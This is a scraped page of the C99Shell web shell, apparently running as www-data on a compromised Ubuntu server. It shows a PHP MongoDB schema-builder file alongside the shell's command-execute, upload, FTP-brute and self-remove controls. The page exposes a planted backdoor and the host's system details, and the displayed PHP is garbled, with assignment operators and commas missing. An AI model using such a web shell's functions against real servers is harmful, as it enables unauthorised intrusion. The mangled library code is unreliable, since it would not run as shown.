!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/ccl/vendor/jenssegers/mongodb/src/Jenssegers/Mongodb/Schema/   drwxrwxr-x
Free 13.16 GB of 57.97 GB (22.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Builder.php (2.9 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php namespace Jenssegers\Mongodb\Schema;

use 
Closure;
use 
Jenssegers\Mongodb\Connection;

class 
Builder extends \Illuminate\Database\Schema\Builder
{
    
/**
     * Create a new database Schema manager.
     *
     * @param  Connection  $connection
     */
    
public function __construct(Connection $connection)
    {
        
$this->connection $connection;
    }

    
/**
     * Determine if the given table has a given column.
     *
     * @param  string  $table
     * @param  string  $column
     * @return bool
     */
    
public function hasColumn($table$column)
    {
        return 
true;
    }

    
/**
     * Determine if the given table has given columns.
     *
     * @param  string  $table
     * @param  array   $columns
     * @return bool
     */
    
public function hasColumns($table, array $columns)
    {
        return 
true;
    }
    
/**
     * Determine if the given collection exists.
     *
     * @param  string  $collection
     * @return bool
     */
    
public function hasCollection($collection)
    {
        
$db $this->connection->getMongoDB();

        return 
in_array($collection$db->getCollectionNames());
    }

    
/**
     * Determine if the given collection exists.
     *
     * @param  string  $collection
     * @return bool
     */
    
public function hasTable($collection)
    {
        return 
$this->hasCollection($collection);
    }

    
/**
     * Modify a collection on the schema.
     *
     * @param  string   $collection
     * @param  Closure  $callback
     * @return bool
     */
    
public function collection($collectionClosure $callback)
    {
        
$blueprint $this->createBlueprint($collection);

        if (
$callback) {
            
$callback($blueprint);
        }
    }

    
/**
     * Modify a collection on the schema.
     *
     * @param  string   $collection
     * @param  Closure  $callback
     * @return bool
     */
    
public function table($collectionClosure $callback)
    {
        return 
$this->collection($collection$callback);
    }

    
/**
     * Create a new collection on the schema.
     *
     * @param  string   $collection
     * @param  Closure  $callback
     * @return bool
     */
    
public function create($collectionClosure $callback null)
    {
        
$blueprint $this->createBlueprint($collection);

        
$blueprint->create();

        if (
$callback) {
            
$callback($blueprint);
        }
    }

    
/**
     * Drop a collection from the schema.
     *
     * @param  string  $collection
     * @return bool
     */
    
public function drop($collection)
    {
        
$blueprint $this->createBlueprint($collection);

        return 
$blueprint->drop();
    }

    
/**
     * Create a new Blueprint.
     *
     * @param  string   $collection
     * @return Schema\Blueprint
     */
    
protected function createBlueprint($collectionClosure $callback null)
    {
        return new 
Blueprint($this->connection$collection);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--